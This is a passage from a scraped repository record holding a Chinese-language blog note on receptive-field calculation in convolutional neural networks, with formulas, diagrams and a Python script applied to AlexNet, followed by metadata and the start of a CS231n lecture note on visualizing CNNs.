Networks**](https://medium.com/mlreview/a-guide-to-receptive-field-arithmetic-for-convolutional-neural-networks-e0f514068807)๏ผŒๆ‰ๅคงๅฝปๅคงๆ‚Ÿ๏ผŒไธ–็•Œๅ˜ๅพ—ๅฅฝไบ†๏ผŒไบบ็”Ÿ้ƒฝๅ˜ๅพ—ๆœ‰ๆ„ไน‰ไบ†๏ผŒๆญฃๅฆ‚ๅšไธป่‡ชๅทฑ่ฐˆๅˆฐ็š„ๅ†™ไฝœๅŠจๆœบ๏ผš\n\n> *This post fills in the **gap** by introducing a new way to visualize feature maps in a CNN that exposes the receptive field information, accompanied by a **complete receptive field calculation** that can be used for **any CNN** architecture.*\n\nๆญคๆ–‡็ฎ—ๆ˜ฏไธŠ่ฟฐๅšๆ–‡็š„ไธ€ไธช็ฒพ่ฆ็‰ˆ็ฌ”่ฎฐ๏ผŒๅ†ๅŠ ไธŠไธชไบบ็š„็†่งฃไธŽ่ฎก็ฎ—่ฟ‡็จ‹ใ€‚ๅ’Œๅ…ถไป–ๆ‰€ๆœ‰ๅšๆ–‡ไธ€ๆ ท๏ผŒๅ†™ไฝœ็š„็›ฎ็š„ๆ˜ฏ็ป™ๆœชๆฅ็š„่‡ชๅทฑ็œ‹ใ€‚\n\n> FYI๏ผš่ฏป่€…ๅทฒ็ป็†Ÿๆ‚‰ CNN ็š„ๅŸบๆœฌๆฆ‚ๅฟต๏ผŒ็‰นๅˆซๆ˜ฏๅท็งฏๅ’Œๆฑ ๅŒ–ๆ“ไฝœใ€‚ไธ€ไธช้žๅธธๅฅฝ็š„็ป†่‡ดๆฆ‚่ฟฐ็›ธๅ…ณ่ฎก็ฎ—็ป†่Š‚็š„ paper ๆ˜ฏ๏ผš[A guide to convolution arithmetic for deep learning](https://arxiv.org/pdf/1603.07285.pdf)ใ€‚\n\n\n\n---\n\n## ๆ„Ÿๅ—้‡Žๅฏ่ง†ๅŒ–\n\nๆˆ‘ไปฌ็Ÿฅๆ™“ๆŸไธ€ๅฑ‚็š„ๅท็งฏๆ ธๅคงๅฐๅฏนๅบ”ไบŽๅœจไธŠไธ€ๅฑ‚่พ“ๅ‡บ็š„โ€œๅ›พๅƒโ€ไธŠ็š„โ€œ่ง†้‡Žโ€ๅคงๅฐใ€‚ๆฏ”ๅฆ‚๏ผŒๆŸๅฑ‚ๆœ‰ 3x3 ็š„ๅท็งฏๆ ธ๏ผŒ้‚ฃๅฐฑๆ˜ฏไธ€ไธช 3x3 ๅคงๅฐ็š„ๆป‘ๅŠจ็ช—ๅฃๅœจ่ฏฅๅฑ‚็š„่พ“ๅ…ฅโ€œๅ›พๅƒโ€ไธŠๅŽปๆ‰ซๆ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅ่ฐˆ็›ธๅฏนไบŽไธŠไธ€ๅฑ‚๏ผŒ่ฏด่ฏฅๅฑ‚ไธ‹็‰นๅพๅ›พ๏ผˆfeature map๏ผ‰ๅฝ“ไธญไปปไธ€็‰นๅพ็‚น๏ผˆfeature๏ผ‰็š„โ€œๆ„Ÿๅ—้‡Žโ€ๅคงๅฐๅชๆœ‰ 3x3.๏ผˆๆ‰“ๅผ•ๅท่ฏดๆ˜Žๆœฏ่ฏญๅผ•็”จไธๅคŸไธฅ่ฐจ๏ผ‰ใ€‚\n\n้‚ฃไนˆ๏ผŒไบŽๆ˜ฏๅฐฑๆœ‰่ฟ™ๆ ท็š„้—ฎ้ข˜ไบ†ใ€‚ๅฏนไบŽ่พƒๆทฑๅฑ‚ไธญ้ซ˜ๅบฆๆŠฝ่ฑก็š„็‰นๅพๅ›พไธญๆŸไธ€็‰นๅพ็‚น๏ผŒๅฎƒไปฌๅœจ็œŸๅฎžๅ›พๅƒ๏ผˆInput๏ผ‰ไธŠ็ฉถ็ซŸ็œ‹ๅˆฐไบ†ๅคšๅฐ‘๏ผŸไธ€ไธช็‰นๅพ็‚น็š„ๆ„Ÿๅ—้‡Žๅคงๅฐๅฏไปฅๅฝฑๅ“ๅˆฐๆ•ดไธชๅ›พ็‰‡่Œƒๅ›ดไนˆ๏ผŸๅœจๆ„Ÿๅ—่ง†้‡Ž่Œƒๅ›ดๅ†…ๆœ‰่š็„ฆ็‚นใ€่ฟ˜ๆ˜ฏๅค„ๅค„ๅนณๆƒๅ…ณๆณจ็š„ๅ‘ข\n\n- ๅ…ˆ็œ‹ไธชๆ„Ÿๅ—้‡Ž็š„่พƒไธฅๆ ผๅฎšไน‰๏ผš\n\n > The **receptive field** is defined as the region in the input space that **a particular CNNโ€™s feature** is looking at (i.e. be affected by).\n\nไธ€ไธช็‰นๅพ็‚น็š„ๆ„Ÿๅ—้‡Žๅฏไปฅ็”จๅ…ถๆ‰€ๅœจ็š„**ไธญๅฟƒ็‚นไฝ็ฝฎ๏ผˆcenter location๏ผ‰**ๅ’Œ**ๅคงๅฐ๏ผˆsize๏ผ‰**ๆฅๆ่ฟฐใ€‚็„ถ่€Œ๏ผŒๆŸๅท็งฏ็‰นๅพ็‚นๆ‰€ๅฏนๅบ”็š„ๆ„Ÿๅ—้‡ŽไธŠๅนถไธๆ˜ฏๆ‰€ๆœ‰ๅƒ็ด ้ƒฝๆ˜ฏๅŒ็ญ‰้‡่ฆ็š„๏ผŒๅฐฑๅฅฝๆฏ”ไบบ็š„็œผ็›ๆ‰€ๅœจ็š„ๆœ‰้™่ง†้‡Ž่Œƒๅ›ดๅ†…๏ผŒๆ€ปๆœ‰่ฆ focus ็š„็„ฆ็‚นใ€‚ๅฏนไบŽๆ„Ÿๅ—้‡Žๆฅ่ฏด๏ผŒ่ท็ฆปไธญๅฟƒ็‚น่ถŠ่ฟ‘็š„ๅƒ็ด ่‚ฏๅฎšๅฏนๆœชๆฅ่พ“ๅ‡บ็‰นๅพๅ›พ็š„่ดก็Œฎๅฐฑ่ถŠๅคงใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒไธ€ไธช็‰นๅพ็‚นๅœจ่พ“ๅ…ฅๅ›พๅƒ๏ผˆInput๏ผ‰ ไธŠๆ‰€ๅ…ณๆณจ็š„็‰นๅฎšๅŒบๅŸŸ๏ผˆไนŸๅฐฑๆ˜ฏๅ…ถๅฏนๅบ”็š„ๆ„Ÿๅ—้‡Ž๏ผ‰ไผšๅœจ่ฏฅๅŒบๅŸŸ็š„ไธญๅฟƒๅค„่š็„ฆ๏ผŒๅนถไปฅๆŒ‡ๆ•ฐๅ˜ๅŒ–ๅ‘ๅ‘จ่พนๆ‰ฉๅฑ•๏ผˆ*need more explanation*๏ผ‰ใ€‚\n\nๅบŸ่ฏไธๅคš่ฏด๏ผŒๆˆ‘ไปฌ็›ดๆŽฅๅ…ˆ็ฎ—่ตทๆฅใ€‚\n\n\n\n---\n\n\n\n้ฆ–ๅ…ˆๅ‡ๅฎšๆˆ‘ไปฌๆ‰€่€ƒ่™‘็š„ CNN ๆžถๆž„ๆ˜ฏๅฏน็งฐ็š„๏ผŒๅนถไธ”่พ“ๅ…ฅๅ›พๅƒไนŸๆ˜ฏๆ–นๅฝข็š„ใ€‚่ฟ™ๆ ท็š„่ฏ๏ผŒๆˆ‘ไปฌๅฐฑๅฟฝ็•ฅๆŽ‰ไธๅŒ้•ฟๅฎฝๆ‰€้€ ๆˆ็š„็ปดๅบฆไธๅŒใ€‚\n\nWay1 ๅฏนๅบ”ไธบ้€šๅธธ็š„ไธ€็ง็†่งฃๆ„Ÿๅ—้‡Ž็š„ๆ–นๅผใ€‚ๅœจไธ‹ๆ–นๅทฆไพง็š„ไธŠๅ›พไธญ๏ผŒๆ˜ฏๅœจ 5x5 ็š„ๅ›พๅƒ(่“่‰ฒ)ไธŠๅšไธ€ไธช 3x3 ๅท็งฏๆ ธ็š„ๅท็งฏ่ฎก็ฎ—ๆ“ไฝœ๏ผŒๆญฅ้•ฟไธบ2๏ผŒpadding ไธบ1๏ผŒๆ‰€ไปฅ่พ“ๅ‡บไธบ 3x3 ็š„็‰นๅพๅ›พ(็ปฟ่‰ฒ)ใ€‚้‚ฃไนˆ่ฏฅ็‰นๅพๅ›พไธŠ็š„ๆฏไธช็‰นๅพ(1x1)ๅฏนๅบ”็š„ๆ„Ÿๅ—้‡Ž๏ผŒๅฐฑๆ˜ฏ 3x3ใ€‚ๅœจไธ‹ๆ–นๅทฆไพง็š„ไธ‹ๅ›พไธญ๏ผŒๆ˜ฏๅœจไธŠ่ฟฐๅŸบ็ก€ไธŠๅ†ๅŠ ไบ†ไธ€ไธชๅฎŒๅ…จไธ€ๆ ท็š„ๅท็งฏๅฑ‚ใ€‚ๅฏนไบŽ็ป่ฟ‡็ฌฌไบŒๅฑ‚ๅท็งฏๅŽๅ…ถไธŠ็š„ไธ€ไธช็‰นๅพ(ๅฆ‚็บข่‰ฒๅœˆ)ๅœจไธŠไธ€ๅฑ‚็‰นๅพๅ›พไธŠโ€œๆ„Ÿๅ—โ€ๅˆฐ 3x3 ๅคงๅฐ๏ผŒ่ฏฅ 3x3 ๅคงๅฐ็š„ๆฏไธช็‰นๅพๅ†ๆ˜ ๅฐ„ๅ›žๅˆฐๅ›พๅƒไธŠ๏ผŒๅฐฑไผšๅ‘็Žฐ็”ฑ 7x7 ไธชๅƒ็ด ็‚นไธŽไน‹ๅ…ณ่”๏ผŒๆœ‰ๆ‰€่ดก็Œฎใ€‚ไบŽๆ˜ฏ๏ผŒๅฐฑๅฏไปฅ่ฏด็ฌฌไบŒๅฑ‚ๅท็งฏๅŽ็š„็‰นๅพๅ…ถๆ„Ÿๅ—้‡Žๅคงๅฐๆ˜ฏ 7x7๏ผˆ้œ€่ฆ่‡ชๅทฑ็”ปไธชๅ›พ๏ผŒๅฅฝๅฅฝๆ•ฐไธ€ๆ•ฐ๏ผ‰ใ€‚Way2 ๏ผˆไธ‹ๆ–นๅณไพง็š„ๅ›พๅƒ๏ผ‰ๆ˜ฏๅฆไธ€็ง็†่งฃ็š„ๆ–นๅผ๏ผŒไธป่ฆ็š„ๅŒบๅˆซไป…ไป…ๆ˜ฏๅฐ†ไธคๅฑ‚็‰นๅพๅ›พไธŠ็š„็‰นๅพไธ่ฟ›่กŒโ€œๅˆๆˆโ€๏ผŒ่€Œๆ˜ฏไฟ็•™ๅ…ถๅœจๅ‰ไธ€ๅฑ‚ๅ› โ€œๆญฅ้•ฟโ€่€Œไบง็”Ÿ็š„ๅฝฑๅ“ใ€‚\n\n![](https://i.loli.net/2018/09/06/5b90c595f0c8b.png)\n\nWay2 ็š„็†่งฃๆ–นๅผๅ…ถๅฎžๆ›ดๅ…ทๆœ‰ไธ€่ˆฌๆ€ง๏ผŒๆˆ‘ไปฌๅฏไปฅๆ— ้œ€่€ƒ่™‘่พ“ๅ…ฅๅ›พๅƒ็š„ๅคงๅฐๅฏนๆ„Ÿๅ—้‡Ž่ฟ›่กŒ่ฎก็ฎ—ใ€‚ๅฆ‚ไธ‹ๅ›พ๏ผš\n\n![](https://i.loli.net/2018/09/06/5b90cf56acf4d.png)\n\n่™ฝ็„ถ๏ผŒๅ›พไธŠ็ป˜ๅˆถไบ†่พ“ๅ…ฅ 9x9 ็š„ๅ›พๅƒ๏ผˆ่“่‰ฒ๏ผ‰๏ผŒไฝ†ๆ˜ฏๅฎƒ็š„ๅคงๅฐๆƒ…ๅ†ตๆ˜ฏๆ— ๅ…ณ็ดง่ฆ็š„๏ผŒๅ› ไธบๆˆ‘ไปฌ็Žฐๅœจๅชๅ…ณๆณจๆŸโ€œๆ— ้™โ€ๅคงๅฐๅ›พๅƒๆŸไธ€ๅƒ็ด ็‚นไธบไธญๅฟƒ็š„ไธ€ๅ—ๅŒบๅŸŸ่ฟ›่กŒๅท็งฏๆ“ไฝœใ€‚้ฆ–ๅ…ˆ๏ผŒ็ป่ฟ‡ไธ€ไธช 3x3 ็š„ๅท็งฏๅฑ‚๏ผˆpadding=1๏ผŒstride=2๏ผ‰ๅŽ๏ผŒๅฏไปฅๅพ—ๅˆฐ็‰นๅพ่พ“ๅ‡บ๏ผˆๆทฑ็ปฟ่‰ฒ๏ผ‰้ƒจๅˆ†ใ€‚ๅ…ถไธญๆทฑ็ปฟ่‰ฒ็š„็‰นๅพๅˆ†ๅˆซ่กจ็คบๅท็งฏๆ ธๆ‰ซ่ฟ‡่พ“ๅ…ฅๅ›พๅƒๆ—ถ๏ผŒๅท็งฏๆ ธไธญๅฟƒ็‚นๆ‰€ๅœจ็š„็›ธๅฏนไฝ็ฝฎใ€‚ๆญคๆ—ถ๏ผŒๆฏไธชๆทฑ็ปฟ่‰ฒ็‰นๅพ็š„ๆ„Ÿๅ—้‡Žๆ˜ฏ 3x3 ๏ผˆๆต…็ปฟ๏ผ‰ใ€‚่ฟ™ๅพˆๅฅฝ็†่งฃ๏ผŒๆฏไธ€ไธช็ปฟ่‰ฒ็‰นๅพๅ€ผ็š„่ดก็Œฎๆฅๆบๆ˜ฏๅ…ถๅ‘จๅ›ดไธ€ไธช 3x3 ้ข็งฏใ€‚ๅ†ๅ ๅŠ ไธ€ไธช 3x3 ็š„ๅท็งฏๅฑ‚๏ผˆpadding=1๏ผŒstride=2๏ผ‰ๅŽ๏ผŒ่พ“ๅ‡บๅพ—ๅˆฐ 3x3 ็š„็‰นๅพ่พ“ๅ‡บ๏ผˆๆฉ™่‰ฒ๏ผ‰ใ€‚ๆญคๆ—ถ็š„ไธญๅฟƒ็‚น็š„ๆ„Ÿๅ—้‡Žๆ‰€ๅฏนๅบ”็š„ๆ˜ฏ้ป„่‰ฒๅŒบๅŸŸ 7x7๏ผŒไปฃ่กจ็š„ๆ˜ฏ่พ“ๅ…ฅๅ›พๅƒๅœจไธญๅฟƒ็‚นๆฉ™่‰ฒ็‰นๅพๆ‰€ๅš็š„่ดก็Œฎใ€‚\n\n่ฟ™ๅฐฑๆ˜ฏไธบไฝ•ๅœจ ใ€Š[VERY DEEP CONVOLUTIONAL NETWORKS FOR LARGE-SCALE IMAGE RECOGNITION](../paper_summary/Very deep convolutional networks for large-scale image recognition.html)ใ€‹ ๆ–‡็ซ ไธญๆๅˆฐ๏ผš\n\n> It is easy to see that a stack of two 3 ร— 3 conv. layers (without spatial pooling in between) has an effective receptive field of 5 ร— 5; three such layers have a 7 ร— 7 effective receptive field. \n>\n\nไนŸๅฐฑๆ˜ฏ่ฏดไธคๅฑ‚ 3x3 ็š„ๅท็งฏๅฑ‚็›ดๆŽฅๅ †ๅ ๅŽ๏ผˆๆ— ๆฑ ๅŒ–๏ผ‰ๅฏไปฅ็ฎ—็š„ๆœ‰ๆ„Ÿๅ—้‡Žๆ˜ฏ 5x5๏ผŒไธ‰ๅฑ‚ๅ †ๅ ๅŽ็š„ๆ„Ÿๅ—้‡Žๅฐฑๆ˜ฏ 7x7ใ€‚\n\n---\n\n## ๆ„Ÿๅ—้‡Ž่ฎก็ฎ—\n\n็›ด่ง‚็š„ๆ„Ÿๅ—ไบ†ๆ„Ÿๅ—้‡Žไน‹ๅŽ๏ผŒ็ฉถ็ซŸ่ฏฅๅฆ‚ไฝ•ๅฎš้‡่ฎก็ฎ—ๅ—ฏ๏ผŸๅช่ฆไพๆฎ Way2 ๅ›พๅƒ็š„็†่งฃ๏ผŒๆˆ‘ไปฌๅฏนๆฏไธ€ๅฑ‚็š„็‰นๅพโ€œ้กบ่—คๆ‘ธ็“œโ€ๅณๅฏใ€‚\n\nๆˆ‘ไปฌๅทฒ็ปๅ‘่ง‰ๅˆฐ๏ผŒๆŸไธ€ๅฑ‚็‰นๅพไธŠ็š„ๆ„Ÿๅ—้‡Žๅคงๅฐไพ่ต–็š„่ฆ็ด ๆœ‰๏ผšๆฏไธ€ๅฑ‚็š„ๅท็งฏๆ ธๅคงๅฐ k๏ผŒpadding ๅคงๅฐ p๏ผŒstride sใ€‚ๅœจๆŽจๅฏผๆŸๅฑ‚็š„ๆ„Ÿๅ—้‡Žๆ—ถ๏ผŒ่ฟ˜้œ€่ฆ่€ƒ่™‘ๅˆฐ่ฏฅๅฑ‚ไน‹ๅ‰ๅ„ๅฑ‚ไธŠ็‰นๅพ็š„็š„ๆ„Ÿๅ—้‡Žๅคงๅฐ r๏ผŒไปฅๅŠๅ„ๅฑ‚็›ธ้‚ป็‰นๅพไน‹้—ด็š„่ท็ฆป j๏ผˆjump๏ผ‰ใ€‚\n\nๆ‰€ไปฅๅฏนไบŽๆŸไธ€ๅท็งฏๅฑ‚๏ผˆๅท็งฏๆ ธๅคงๅฐ k๏ผŒpadding ๅคงๅฐ p๏ผŒstride s๏ผ‰ไธŠๆŸ็‰นๅพ็š„ๆ„Ÿๅ—้‡Žๅคงๅฐๅ…ฌๅผไธบ๏ผš\n$$\n\\begin{align*}\nj_\\text{out} &= j_{in} * s\\\\\nr_\\text{out} &= r_{in} + (k-1)*j_{in}\\\\ \nstart_\\text{out} &= start_\\text{in} + \\Big(\\frac{k-1}{2}-p\\Big) * j_\\text{in}\n\\end{align*}\n$$\n\n- ็ฌฌไธ€่กŒ่ฎก็ฎ—็š„ๆ˜ฏ๏ผŒ็›ธ้‚ป็‰นๅพไน‹้—ด็š„่ท็ฆป๏ผˆjump๏ผ‰ใ€‚ๅ„ๅฑ‚้‡Œ็š„็‰นๅพไน‹้—ด็š„่ท็ฆปๆ˜พ็„ถๆ˜ฏไธฅ้‡ไพ่ต–ไบŽ stride ็š„๏ผŒๅนถไธ”้€ๅฑ‚็ดฏ็งฏใ€‚ๅ€ผๅพ—ๆณจๆ„็š„ๆ˜ฏ๏ผŒ่พ“ๅ…ฅๅ›พๅƒ็š„ไฝœไธบ่ตทๅง‹ๅƒ็ด ็‰นๅพ๏ผŒๅฎƒ็š„็‰นๅพ่ท็ฆป๏ผˆjump๏ผ‰ ไธบ1ใ€‚\n- ็ฌฌไบŒ่กŒ่ฎก็ฎ—็š„ๅฐฑๆ˜ฏๆŸๅฑ‚็š„็‰นๅพ็š„ๆ„Ÿๅ—ๅคงๅฐใ€‚ๅฎƒไพ่ต–ไบŽไธŠไธ€ๅฑ‚็š„็‰นๅพ็š„ๆ„Ÿๅ—้‡Žๅคงๅฐ $r_\\text{in}$ ๅ’Œ็‰นๅพไน‹้—ด็š„่ท็ฆป $j_\\text{in}$๏ผŒไปฅๅŠ่ฏฅๅฑ‚็š„ๅท็งฏๆ ธๅคงๅฐ kใ€‚่พ“ๅ…ฅๅ›พๅƒ็š„ๆฏไธชๅƒ็ด ไฝœไธบ็‰นๅพ็š„ๆ„Ÿๅ—้‡Žๅฐฑๆ˜ฏๅ…ถ่‡ช่บซ๏ผŒไธบ1ใ€‚\n- ็ฌฌไธ‰่กŒๅ…ฌๅผ่ฎก็ฎ—็š„ๆ˜ฏ็‰นๅพๆ„Ÿๅ—้‡Ž็š„ๅ‡ ไฝ•ๅŠๅพ„ใ€‚ๅฏนไบŽๅค„ไบŽ็‰นๅพๅ›พ่พน็ผ˜ๅค„็š„็‰นๅพๆฅ่ฏด๏ผŒ่ฟ™็ฑป็‰นๅพ็š„ๆ„Ÿๅ—้‡ŽๅนถไธไผšๅฎŒๆ•ด็š„ๅฏนๅบ”ๅˆฐๅŽŸ่พ“ๅ…ฅๅ›พๅƒไธŠ็š„ๅŒบๅŸŸ๏ผŒ้ƒฝไผšๅฐไธ€ไบ›ใ€‚ๅˆๅง‹็‰นๅพ็š„ๆ„Ÿๅ—้‡Žๅ‡ ไฝ•ๅŠๅพ„ไธบ 0.5ใ€‚\n\nไธ‹้ข๏ผŒๆˆ‘ไปฌ็ปง็ปญๆ‹ฟๅฏ่ง†ๅŒ–ๆ—ถ็”จ็š„ไพ‹ๅญ๏ผŒ็œ‹็œ‹ๅ…ทไฝ“ๆ˜ฏๆ€Žไนˆ่ฎก็ฎ—ๅ’Œๅฏนๅบ”็š„๏ผš\n\n![](https://i.loli.net/2018/09/06/5b90db3f6e559.png)\n\nไธŠๅ›พไธญ้™คไบ†ๅ…ฌๅผๅ’Œ่ฏดๆ˜Ž้ƒจๅˆ†ๅค–๏ผŒๆœ‰ไธค่กŒๅˆ†ๅˆซไปฃ่กจ็š„ๆ˜ฏ็ฌฌไธ€ๅฑ‚ๅท็งฏๅ’Œ็ฌฌไบŒๅฑ‚ๅท็งฏใ€‚ๅœจๆฏ่กŒไธญ๏ผŒๅบ”ไปŽๅทฆๅพ€ๅณ่ง‚ๅฏŸๅท็งฏๆ ธ่ฎก็ฎ—ๅ’Œๆ“ไฝœใ€‚\n\n็ฌฌไธ€ๅฑ‚ๆฏ”่พƒ็ฎ€ๅ•๏ผŒๆœ€ๅŽ่พ“ๅ‡บ 3x3 ็ปฟ่‰ฒ็š„็‰นๅพๅ›พ๏ผŒๆฏไธช็‰นๅพๆœ‰้˜ดๅฝฑๆก†ๅคงๅฐๆฅ่กจ็คบๆฏไธช็‰นๅพๅฏนๅบ”็š„ๆ„Ÿๅ—้‡Žๅคงๅฐ 3x3ใ€‚ๅ…ถไธญ $start_1$ ่กจ็คบ็š„ 0.5 ๅ‡ ไฝ•ๅŠๅพ„๏ผŒๆˆ‘ๅทฒ็ป็”จ็บข่‰ฒๆ ‡่ฏ†ๅ‡บๆฅ๏ผŒๅฏนๅบ”ไบŽ้˜ดๅฝฑ้ข็งฏ่ฆ†็›–ๅˆฐ็š„็ปฟ่‰ฒ้ข็งฏ็š„ๅ‡ ไฝ•ๅŠๅพ„ใ€‚\n\n็ฌฌไบŒๅฑ‚๏ผŒ็”ฑไบŽๆœ‰ไธ€ไธชๅ•ไฝ็š„ padding๏ผŒๆ‰€ไปฅ 3x3 ๅท็งฏๆ ธๆ˜ฏๆŒ‰็…ง่“่‰ฒ็ฎญๅคดๆ ‡่ฎฐไฝœไธบ็š„่ตทๅง‹ๆ–นๅ‘ๅผ€ๅง‹๏ผŒๅœจๆ‰€ๆœ‰็š„็ปฟ่‰ฒไฝ็ฝฎไธŠๆŒชๅŠจ็š„ใ€‚ๆœ€ๅŽ็ฎ—ๅพ—็‰นๅพ็š„ๆ„Ÿๅ—้‡Žๅคงๅฐไธบ 7x7๏ผŒไบฆๅฏนๅบ”ไบŽ้˜ดๅฝฑๆก†ๅ’Œ้˜ดๅฝฑๅŒบๅŸŸ้ƒจๅˆ†ใ€‚ๅ…ถไธญ $start_2$ ๆ˜ฏ 0.5 ไนŸๅทฒ็ป็”จ็บข่‰ฒๆ ‡่ฎฐไบ†ๅ‡บๆฅใ€‚\n\nๅฏ่ƒฝไฝ ไผšๆœ‰ไธ€ไธช็–‘้—ฎ๏ผŒ็‰นๅพๆ„Ÿๅ—้‡Ž็š„ๅ‡ ไฝ•ๅŠๅพ„ไธไผšๆ˜ฏไธๅ˜ไบ†ๅง๏ผŸๅ…ถๅฎžไธ็„ถ๏ผŒๅฆ‚ๆžœไฝ ๅฐ†ไธŠ้ข่ฟ™ไธชไพ‹ๅญ็š„็ฌฌไบŒๅฑ‚ๅท็งฏๆ ธๆ”นไธบ 4x4๏ผŒๅ…ถไป–่ฎพๅฎš้ƒฝไธๅ˜๏ผŒ้‚ฃไนˆๆœ€ๅŽ็‰นๅพ็š„ๆ„Ÿๅ—้‡Žๅคงๅฐ๏ผˆ็ฐ่‰ฒๆก†๏ผ‰ๆ˜ฏ 9x9๏ผŒ$start_2=1.5$๏ผŒๅฆ‚ไธ‹ๅ›พๆ‰€็คบ๏ผš\n\n![](https://i.loli.net/2018/09/06/5b90dd92a3d71.png)\n\n---\n\n## Python Script\n\n่ฟ™ไธชไปฃ็ ๅ…ถๅฎžๅพˆๅฅฝๅ†™๏ผŒๆˆ‘ๅฐฑ็›ดๆŽฅๆŒช็”จ Dang Ha The Hien ็š„ [python ่„šๆœฌ](https://gist.github.com/Nikasa1889/781a8eb20c5b32f8e378353cde4daa51#file-computereceptivefield-py)ไบ†๏ผš\n\n```python\n# [filter size, stride, padding]\n#Assume the two dimensions are the same\n#Each kernel requires the following parameters:\n# - k_i: kernel size\n# - s_i: stride\n# - p_i: padding (if padding is uneven, right padding will higher than left padding; \"SAME\" option in tensorflow)\n# \n#Each layer i requires the following parameters to be fully represented: \n# - n_i: number of feature (data layer has n_1 = imagesize )\n# - j_i: distance (projected to image pixel distance) between center of two adjacent features\n# - r_i: receptive field of a feature in layer i\n# - start_i: position of the first feature's receptive field in layer i (idx start from 0, negative means the center fall into padding)\n\nimport math\nconvnet = [[11,4,0],[3,2,0],[5,1,2],[3,2,0],[3,1,1],[3,1,1],[3,1,1],[3,2,0],[6,1,0], [1, 1, 0]]\nlayer_names = ['conv1','pool1','conv2','pool2','conv3','conv4','conv5','pool5','fc6-conv', 'fc7-conv']\nimsize = 227\n\ndef outFromIn(conv, layerIn):\n\tn_in = layerIn[0]\n j_in = layerIn[1]\n r_in = layerIn[2]\n start_in = layerIn[3]\n k = conv[0]\n s = conv[1]\n p = conv[2]\n \n n_out = math.floor((n_in - k + 2*p)/s) + 1\n actualP = (n_out-1)*s - n_in + k \n pR = math.ceil(actualP/2)\n pL = math.floor(actualP/2)\n \n j_out = j_in * s\n r_out = r_in + (k - 1)*j_in\n start_out = start_in + ((k-1)/2 - pL)*j_in\n return n_out, j_out, r_out, start_out\n \ndef printLayer(layer, layer_name):\n print(layer_name + \":\")\n print(\"\\t n features: %s \\n \\t jump: %s \\n \\t receptive size: %s \\t start: %s \" % (layer[0], layer[1], layer[2], layer[3]))\n \nlayerInfos = []\nif __name__ == '__main__':\n#first layer is the data layer (image) with n_0 = image size; j_0 = 1; r_0 = 1; and start_0 = 0.5\n print (\"-------Net summary------\")\n currentLayer = [imsize, 1, 1, 0.5]\n printLayer(currentLayer, \"input image\")\n for i in range(len(convnet)):\n currentLayer = outFromIn(convnet[i], currentLayer)\n layerInfos.append(currentLayer)\n printLayer(currentLayer, layer_names[i])\n print (\"------------------------\")\n layer_name = raw_input (\"Layer name where the feature in: \")\n layer_idx = layer_names.index(layer_name)\n idx_x = int(raw_input (\"index of the feature in x dimension (from 0)\"))\n idx_y = int(raw_input (\"index of the feature in y dimension (from 0)\"))\n \n n = layerInfos[layer_idx][0]\n j = layerInfos[layer_idx][1]\n r = layerInfos[layer_idx][2]\n start = layerInfos[layer_idx][3]\n assert(idx_x < n)\n assert(idx_y < n)\n \n print (\"receptive field: (%s, %s)\" % (r, r))\n print (\"center: (%s, %s)\" % (start+idx_x*j, start+idx_y*j))\n```\n\n\n\nๅœจ [AlexNet](../paper_summary/ImageNet Classification with Deep Convolutional Neural Networks.html) ็ฝ‘็ปœไธŠ็š„ๆ•ˆๆžœๅฆ‚ไธ‹๏ผš\n\n![](https://i.loli.net/2018/09/06/5b90de9d09ceb.png)\n\n\n\n\n\n\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n" }, { "alpha_fraction": 0.6981082558631897, "alphanum_fraction": 0.8014994263648987, "avg_line_length": 29.0235595703125, "blob_id": "97d50125b1c1d6669c1f8aab5aca9ba6bd9731a7", "content_id": "6353975f59b97dc4e08858434327407667e4f19f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 19813, "license_type": "no_license", "max_line_length": 418, "num_lines": 382, "path": "/blog/cs231n/cs231n_13.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.13\ndate: 2018-09-07\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=27)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 13. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [DeepDream](https://github.com/google/deepdream)\n> - [neural-style](https://github.com/jcjohnson/neural-style)\n> - [fast-neural-style](https://github.com/jcjohnson/fast-neural-style)\n\n\n\n# Lecture 13. Visualizing and Understanding\n\n\n\nConvNets ็š„ๅ†…้ƒจ็ฉถ็ซŸๆ˜ฏๆ€Žๆ ท็š„ๅ‘ข๏ผŸ\n\n\n\n## First Layer: Visualize Filters\n\nๆญคๅค„ๆœ‰ไธ‰็ฏ‡ papers๏ผš\n\n> Krizhevsky, โ€œOne weird trick for parallelizing convolutional neural networksโ€, arXiv 2014\n> He et al, โ€œDeep Residual Learning for Image Recognitionโ€, CVPR 2016\n> Huang et al, โ€œDensely Connected Convolutional Networksโ€, CVPR 2017\n\n่ง‚ๅฏŸ็ฌฌไธ€ๅฑ‚็š„ๅท็งฏๆ ธใ€‚ไฝ ๅฏไปฅ็œ‹ๅˆฐๅฎƒไปฌ้ƒฝๅœจๅฏปๆ‰พๆœ‰ๅ‘่พน๏ผˆoriented 